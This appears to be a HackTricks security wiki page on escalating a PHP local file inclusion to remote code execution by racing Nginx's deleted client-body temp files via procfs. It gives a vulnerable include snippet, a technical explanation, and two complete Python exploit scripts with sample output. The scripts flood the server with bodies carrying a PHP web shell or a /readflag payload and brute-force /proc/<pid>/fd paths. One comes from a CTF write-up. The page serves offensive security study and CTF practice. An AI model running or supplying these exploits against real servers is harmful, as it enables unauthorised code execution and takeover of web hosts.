304 lines
12 KiB
Markdown
304 lines
12 KiB
Markdown
# LFI2RCE via Nginx temp files
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Vulnerable configuration
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* PHP code:
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```
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<?php include_once($_GET['file']);
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```
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* FPM / PHP config:
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```
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...
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php_admin_value[session.upload_progress.enabled] = 0
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php_admin_value[file_uploads] = 0
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...
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```
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* Setup / hardening:
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```
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...
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chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
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chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
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...
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```
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Luckily PHP is currently often deployed via PHP-FPM and Nginx. Nginx offers an easily-overlooked [client body buffering](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) feature which will write temporary files if the client body (not limited to post) is bigger than a certain threshold.
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This feature allows LFIs to be exploited without any other way of creating files, if Nginx runs as the same user as PHP (very commonly done as www-data).
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Relevant Nginx code:
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```c
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ngx_fd_t
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ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
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{
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ngx_fd_t fd;
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fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
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access ? access : 0600);
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if (fd != -1 && !persistent) {
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(void) unlink((const char *) name);
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}
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return fd;
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}
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```
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It's visible that **tempfile is unlinked immediately** after being opened by Nginx. Luckily **procfs can be used to still obtain a reference** to the deleted file via a race:
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```
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...
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/proc/34/fd:
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total 0
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lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
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lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
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lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
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lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
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lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
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lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
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lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
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lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
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...
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```
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Note: One cannot directly include `/proc/34/fd/15` in this example as PHP's `include` function would resolve the path to `/var/lib/nginx/body/0000001368 (deleted)` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: `/proc/self/fd/34/../../../34/fd/15` which will finally execute the content of the deleted `/var/lib/nginx/body/0000001368` file.
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## Full Exploit
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```python
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#!/usr/bin/env python3
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import sys, threading, requests
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# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
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# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
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URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
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# find nginx worker processes
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r = requests.get(URL, params={
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'file': '/proc/cpuinfo'
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})
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cpus = r.text.count('processor')
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r = requests.get(URL, params={
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'file': '/proc/sys/kernel/pid_max'
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})
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pid_max = int(r.text)
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print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
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nginx_workers = []
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for pid in range(pid_max):
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r = requests.get(URL, params={
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'file': f'/proc/{pid}/cmdline'
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})
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if b'nginx: worker process' in r.content:
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print(f'[*] nginx worker found: {pid}')
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nginx_workers.append(pid)
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if len(nginx_workers) >= cpus:
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break
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done = False
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# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
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def uploader():
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print('[+] starting uploader')
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while not done:
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requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
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for _ in range(16):
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t = threading.Thread(target=uploader)
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t.start()
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# brute force nginx's fds to include body files via procfs
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# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
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def bruter(pid):
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global done
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while not done:
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print(f'[+] brute loop restarted: {pid}')
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for fd in range(4, 32):
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f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
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r = requests.get(URL, params={
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'file': f,
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'c': f'id'
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})
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if r.text:
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print(f'[!] {f}: {r.text}')
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done = True
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exit()
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for pid in nginx_workers:
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a = threading.Thread(target=bruter, args=(pid, ))
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a.start()
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```
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Output:
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```
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$ ./pwn.py 127.0.0.1 1337
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[*] cpus: 2; pid_max: 32768
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[*] nginx worker found: 33
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[*] nginx worker found: 34
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] starting uploader
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[+] brute loop restarted: 33
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[+] brute loop restarted: 34
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[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
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```
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### Another Exploit
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This is from [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
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```python
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import requests
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import threading
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import multiprocessing
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import threading
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import random
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SERVER = "http://localhost:8088"
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NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
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# Set the following to True to use the above set of PIDs instead of scanning:
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USE_NGINX_PIDS_CACHE = False
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def create_requests_session():
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session = requests.Session()
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# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
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adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
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session.mount('http://', adapter)
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return session
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def get_nginx_pids(requests_session):
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if USE_NGINX_PIDS_CACHE:
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return NGINX_PIDS_CACHE
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nginx_pids = set()
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# Scan up to PID 200
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for i in range(1, 200):
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cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
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if cmdline.startswith("nginx: worker process"):
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nginx_pids.add(i)
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return nginx_pids
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def send_payload(requests_session, body_size=1024000):
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try:
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# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
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payload = '<?php system("/readflag"); ?> //'
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requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
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except:
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pass
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def send_payload_worker(requests_session):
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while True:
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send_payload(requests_session)
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def send_payload_multiprocess(requests_session):
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# Use all CPUs to send the payload as request body for Nginx
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for _ in range(multiprocessing.cpu_count()):
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p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
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p.start()
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def generate_random_path_prefix(nginx_pids):
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# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
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path = ""
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component_num = random.randint(0, 10)
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for _ in range(component_num):
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pid = random.choice(nginx_pids)
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if random.randint(0, 1) == 0:
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path += f"/proc/{pid}/cwd"
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else:
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path += f"/proc/{pid}/root"
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return path
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def read_file(requests_session, nginx_pid, fd, nginx_pids):
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nginx_pid_list = list(nginx_pids)
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while True:
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path = generate_random_path_prefix(nginx_pid_list)
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path += f"/proc/{nginx_pid}/fd/{fd}"
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try:
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d = requests_session.get(SERVER + f"/?action=include&file={path}").text
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except:
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continue
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# Flags are formatted as hxp{<flag>}
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if "hxp" in d:
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print("Found flag! ")
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print(d)
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def read_file_worker(requests_session, nginx_pid, nginx_pids):
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# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
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for fd in range(10, 45):
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thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
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thread.start()
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def read_file_multiprocess(requests_session, nginx_pids):
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for nginx_pid in nginx_pids:
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p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
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p.start()
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if __name__ == "__main__":
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print('[DEBUG] Creating requests session')
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requests_session = create_requests_session()
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print('[DEBUG] Getting Nginx pids')
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nginx_pids = get_nginx_pids(requests_session)
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print(f'[DEBUG] Nginx pids: {nginx_pids}')
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print('[DEBUG] Starting payload sending')
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send_payload_multiprocess(requests_session)
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print('[DEBUG] Starting fd readers')
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read_file_multiprocess(requests_session, nginx_pids)
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```
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## Labs
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* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
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* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
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* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
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## References
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* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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